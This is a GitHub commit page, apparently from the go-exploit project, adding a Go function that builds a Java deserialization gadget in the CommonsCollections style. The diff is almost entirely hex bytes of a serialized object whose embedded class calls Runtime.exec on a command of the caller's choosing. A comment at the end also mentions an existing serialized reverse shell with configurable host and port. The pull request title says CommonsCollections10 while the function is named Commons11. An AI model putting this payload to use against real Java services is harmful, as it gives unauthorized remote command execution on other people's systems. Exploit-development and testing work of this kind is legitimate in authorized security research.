Skip to content

Commit b49ac95

Browse files
j-bainesj-baines
authored
Merge pull request #330 from lobsterjerusalem/java-deser-rev-command
Added Java CommonsCollections10 Deserialization Payload
2 parents b9ae86f + 5dd5074 commit b49ac95

File tree

1 file changed

+279
-0
lines changed

1 file changed

+279
-0
lines changed

‎java/javagadget.go

Lines changed: 279 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,291 @@
11
package java
22

33
import (
4+
"errors"
5+
"fmt"
46
"strconv"
57
"strings"
68

79
"github.com/vulncheck-oss/go-exploit/transform"
810
)
911

12+
var errInvalidCommandLength = errors.New("invalid command length")
13+
14+
func ErrorInvalidCommandLength(msg string) error {
15+
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
16+
}
17+
18+
// the allocated space (255).
19+
func Commons11CommandBytecode(commandStr string) ([]byte, error) {
20+
if len(commandStr) > 255 || len(commandStr) < 1 {
21+
return []byte{}, ErrorInvalidCommandLength("command must be between 1 and 255 characters")
22+
}
23+
24+
payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
25+
"\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" +
26+
"\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" +
27+
"\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" +
28+
"\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" +
29+
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
30+
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
31+
"\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" +
32+
"\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" +
33+
"\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" +
34+
"\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" +
35+
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" +
36+
"\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" +
37+
"\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" +
38+
"\x70\x3b\x78\x70\x73\x72\x00\x3a\x63\x6f\x6d\x2e" +
39+
"\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63" +
40+
"\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69\x6e\x74" +
41+
"\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e" +
42+
"\x74\x72\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74" +
43+
"\x65\x73\x49\x6d\x70\x6c\x09\x57\x4f\xc1\x6e\xac" +
44+
"\xab\x33\x03\x00\x06\x49\x00\x0d\x5f\x69\x6e\x64" +
45+
"\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e" +
46+
"\x5f\x74\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64" +
47+
"\x65\x78\x5b\x00\x0a\x5f\x62\x79\x74\x65\x63\x6f" +
48+
"\x64\x65\x73\x74\x00\x03\x5b\x5b\x42\x5b\x00\x06" +
49+
"\x5f\x63\x6c\x61\x73\x73\x74\x00\x12\x5b\x4c\x6a" +
50+
"\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61" +
51+
"\x73\x73\x3b\x4c\x00\x05\x5f\x6e\x61\x6d\x65\x74" +
52+
"\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" +
53+
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x11\x5f" +
54+
"\x6f\x75\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72" +
55+
"\x74\x69\x65\x73\x74\x00\x16\x4c\x6a\x61\x76\x61" +
56+
"\x2f\x75\x74\x69\x6c\x2f\x50\x72\x6f\x70\x65\x72" +
57+
"\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff" +
58+
"\xff\xff\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd" +
59+
"\x19\x15\x67\x67\xdb\x37\x02\x00\x00\x78\x70\x00" +
60+
"\x00\x00\x02\x75\x72\x00\x02\x5b\x42\xac\xf3\x17" +
61+
"\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00" +
62+
"\x07\x93\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x39" +
63+
"\x0a\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07" +
64+
"\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6c\x56" +
65+
"\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01" +
66+
"\x4a\x01\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74" +
67+
"\x56\x61\x6c\x75\x65\x05\xad\x20\x93\xf3\x91\xdd" +
68+
"\xef\x3e\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01" +
69+
"\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65" +
70+
"\x01\x00\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65" +
71+
"\x72\x54\x61\x62\x6c\x65\x01\x00\x12\x4c\x6f\x63" +
72+
"\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65\x54\x61" +
73+
"\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00" +
74+
"\x13\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65" +
75+
"\x74\x50\x61\x79\x6c\x6f\x61\x64\x01\x00\x0c\x49" +
76+
"\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73\x01" +
77+
"\x00\x35\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" +
78+
"\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74" +
79+
"\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24\x53" +
80+
"\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65\x74\x50" +
81+
"\x61\x79\x6c\x6f\x61\x64\x3b\x01\x00\x09\x74\x72" +
82+
"\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c" +
83+
"\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f" +
84+
"\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e" +
85+
"\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73" +
86+
"\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f" +
87+
"\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70" +
88+
"\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74" +
89+
"\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c" +
90+
"\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69" +
91+
"\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65" +
92+
"\x72\x3b\x29\x56\x01\x00\x08\x64\x6f\x63\x75\x6d" +
93+
"\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d\x2f\x73" +
94+
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" +
95+
"\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65" +
96+
"\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x44" +
97+
"\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64\x6c\x65" +
98+
"\x72\x73\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73" +
99+
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" +
100+
"\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" +
101+
"\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65" +
102+
"\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74" +
103+
"\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x01" +
104+
"\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73" +
105+
"\x07\x00\x27\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f" +
106+
"\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" +
107+
"\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" +
108+
"\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" +
109+
"\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e" +
110+
"\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f" +
111+
"\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c" +
112+
"\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73" +
113+
"\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f" +
114+
"\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70" +
115+
"\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74" +
116+
"\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c" +
117+
"\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69" +
118+
"\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65" +
119+
"\x72\x3b\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61" +
120+
"\x74\x6f\x72\x01\x00\x35\x4c\x63\x6f\x6d\x2f\x73" +
121+
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" +
122+
"\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" +
123+
"\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78" +
124+
"\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x01" +
125+
"\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01\x00\x41" +
126+
"\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67" +
127+
"\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f" +
128+
"\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72" +
129+
"\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69" +
130+
"\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e" +
131+
"\x64\x6c\x65\x72\x3b\x01\x00\x0a\x53\x6f\x75\x72" +
132+
"\x63\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64" +
133+
"\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a" +
134+
"\x00\x0b\x07\x00\x28\x01\x00\x33\x79\x73\x6f\x73" +
135+
"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" +
136+
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" +
137+
"\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e" +
138+
"\x73\x6c\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x01" +
139+
"\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72" +
140+
"\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c" +
141+
"\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" +
142+
"\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d" +
143+
"\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72" +
144+
"\x61\x6e\x73\x6c\x65\x74\x01\x00\x14\x6a\x61\x76" +
145+
"\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69" +
146+
"\x7a\x61\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f" +
147+
"\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" +
148+
"\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" +
149+
"\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" +
150+
"\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65" +
151+
"\x70\x74\x69\x6f\x6e\x01\x00\x1f\x79\x73\x6f\x73" +
152+
"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" +
153+
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" +
154+
"\x65\x74\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69" +
155+
"\x74\x3e\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61" +
156+
"\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00" +
157+
"\x2a\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" +
158+
"\x6d\x65\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" +
159+
"\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d" +
160+
"\x65\x3b\x0c\x00\x2c\x00\x2d\x0a\x00\x2b\x00\x2e" +
161+
162+
// 255 characters were allocated, we just put back the unused
163+
// length as spaces
164+
"\x01\x00\xff" + commandStr + strings.Repeat(" ", 0xff-len(commandStr)) +
165+
166+
"\x08\x00\x30\x01\x00\x04" +
167+
"\x65\x78\x65\x63\x01\x00\x27\x28\x4c\x6a\x61\x76" +
168+
"\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e" +
169+
"\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
170+
"\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00" +
171+
"\x32\x00\x33\x0a\x00\x2b\x00\x34\x01\x00\x0d\x53" +
172+
"\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65" +
173+
"\x01\x00\x1d\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" +
174+
"\x2f\x50\x77\x6e\x65\x72\x37\x34\x30\x30\x32\x30" +
175+
"\x33\x39\x32\x34\x35\x37\x39\x31\x01\x00\x1f\x4c" +
176+
"\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x50\x77" +
177+
"\x6e\x65\x72\x37\x34\x30\x30\x32\x30\x33\x39\x32" +
178+
"\x34\x35\x37\x39\x31\x3b\x00\x21\x00\x02\x00\x03" +
179+
"\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06" +
180+
"\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04" +
181+
"\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00" +
182+
"\x00\x2f\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7" +
183+
"\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" +
184+
"\x06\x00\x01\x00\x00\x00\x2f\x00\x0e\x00\x00\x00" +
185+
"\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x38\x00" +
186+
"\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0c\x00" +
187+
"\x00\x00\x3f\x00\x00\x00\x03\x00\x00\x00\x01\xb1" +
188+
"\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01" +
189+
"\x00\x00\x00\x33\x00\x0e\x00\x00\x00\x20\x00\x03" +
190+
"\x00\x00\x00\x01\x00\x0f\x00\x38\x00\x00\x00\x00" +
191+
"\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01" +
192+
"\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04" +
193+
"\x00\x01\x00\x1a\x00\x01\x00\x13\x00\x1b\x00\x02" +
194+
"\x00\x0c\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00" +
195+
"\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" +
196+
"\x06\x00\x01\x00\x00\x00\x36\x00\x0e\x00\x00\x00" +
197+
"\x2a\x00\x04\x00\x00\x00\x01\x00\x0f\x00\x38\x00" +
198+
"\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00" +
199+
"\x00\x00\x01\x00\x1c\x00\x1d\x00\x02\x00\x00\x00" +
200+
"\x01\x00\x1e\x00\x1f\x00\x03\x00\x19\x00\x00\x00" +
201+
"\x04\x00\x01\x00\x1a\x00\x08\x00\x29\x00\x0b\x00" +
202+
"\x01\x00\x0c\x00\x00\x00\x24\x00\x03\x00\x02\x00" +
203+
"\x00\x00\x0f\xa7\x00\x03\x01\x4c\xb8\x00\x2f\x12" +
204+
"\x31\xb6\x00\x35\x57\xb1\x00\x00\x00\x01\x00\x36" +
205+
"\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00" +
206+
"\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0a\x00" +
207+
"\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00" +
208+
"\x7e\x00\x0e\x00\x00\x01\xd4\xca\xfe\xba\xbe\x00" +
209+
"\x00\x00\x32\x00\x1b\x0a\x00\x03\x00\x15\x07\x00" +
210+
"\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65" +
211+
"\x72\x69\x61\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55" +
212+
"\x49\x44\x01\x00\x01\x4a\x01\x00\x0d\x43\x6f\x6e" +
213+
"\x73\x74\x61\x6e\x74\x56\x61\x6c\x75\x65\x05\x71" +
214+
"\xe6\x69\xee\x3c\x6d\x47\x18\x01\x00\x06\x3c\x69" +
215+
"\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00" +
216+
"\x04\x43\x6f\x64\x65\x01\x00\x0f\x4c\x69\x6e\x65" +
217+
"\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65\x01" +
218+
"\x00\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69\x61" +
219+
"\x62\x6c\x65\x54\x61\x62\x6c\x65\x01\x00\x04\x74" +
220+
"\x68\x69\x73\x01\x00\x03\x46\x6f\x6f\x01\x00\x0c" +
221+
"\x49\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73" +
222+
"\x01\x00\x25\x4c\x79\x73\x6f\x73\x65\x72\x69\x61" +
223+
"\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75" +
224+
"\x74\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24" +
225+
"\x46\x6f\x6f\x3b\x01\x00\x0a\x53\x6f\x75\x72\x63" +
226+
"\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64\x67" +
227+
"\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a\x00" +
228+
"\x0b\x07\x00\x1a\x01\x00\x23\x79\x73\x6f\x73\x65" +
229+
"\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64" +
230+
"\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65" +
231+
"\x74\x73\x24\x46\x6f\x6f\x01\x00\x10\x6a\x61\x76" +
232+
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" +
233+
"\x74\x01\x00\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f" +
234+
"\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x62\x6c\x65" +
235+
"\x01\x00\x1f\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" +
236+
"\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74" +
237+
"\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x00\x21" +
238+
"\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1a" +
239+
"\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02" +
240+
"\x00\x08\x00\x01\x00\x01\x00\x0a\x00\x0b\x00\x01" +
241+
"\x00\x0c\x00\x00\x00\x2f\x00\x01\x00\x01\x00\x00" +
242+
"\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02\x00" +
243+
"\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3a\x00" +
244+
"\x0e\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00" +
245+
"\x0f\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00" +
246+
"\x02\x00\x14\x00\x11\x00\x00\x00\x0a\x00\x01\x00" +
247+
"\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50" +
248+
"\x77\x6e\x72\x70\x77\x01\x00\x78\x73\x72\x00\x2a" +
249+
"\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63" +
250+
"\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65" +
251+
"\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c" +
252+
"\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79" +
253+
"\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74" +
254+
"\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61" +
255+
"\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e" +
256+
"\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
257+
"\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" +
258+
"\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e" +
259+
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
260+
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
261+
"\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e" +
262+
"\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73" +
263+
"\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c" +
264+
"\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67" +
265+
"\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c" +
266+
"\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c" +
267+
"\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d" +
268+
"\x65\x71\x00\x7e\x00\x09\x5b\x00\x0b\x69\x50\x61" +
269+
"\x72\x61\x6d\x54\x79\x70\x65\x73\x71\x00\x7e\x00" +
270+
"\x08\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
271+
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63" +
272+
"\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" +
273+
"\x00\x78\x70\x00\x00\x00\x00\x74\x00\x0e\x6e\x65" +
274+
"\x77\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72" +
275+
"\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
276+
"\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16" +
277+
"\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00" +
278+
"\x00\x00\x00\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
279+
"\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70" +
280+
"\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46" +
281+
"\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72" +
282+
"\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64" +
283+
"\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08" +
284+
"\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"
285+
286+
return []byte(payloadBytes), nil
287+
}
288+
10289
// This is a serialized java reverse shell. The gadget was generated by ysoserial
11290
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
12291
// and updated to make it easy to swap in the desired lhost+lport of our choosing

0 commit comments

Comments
 (0)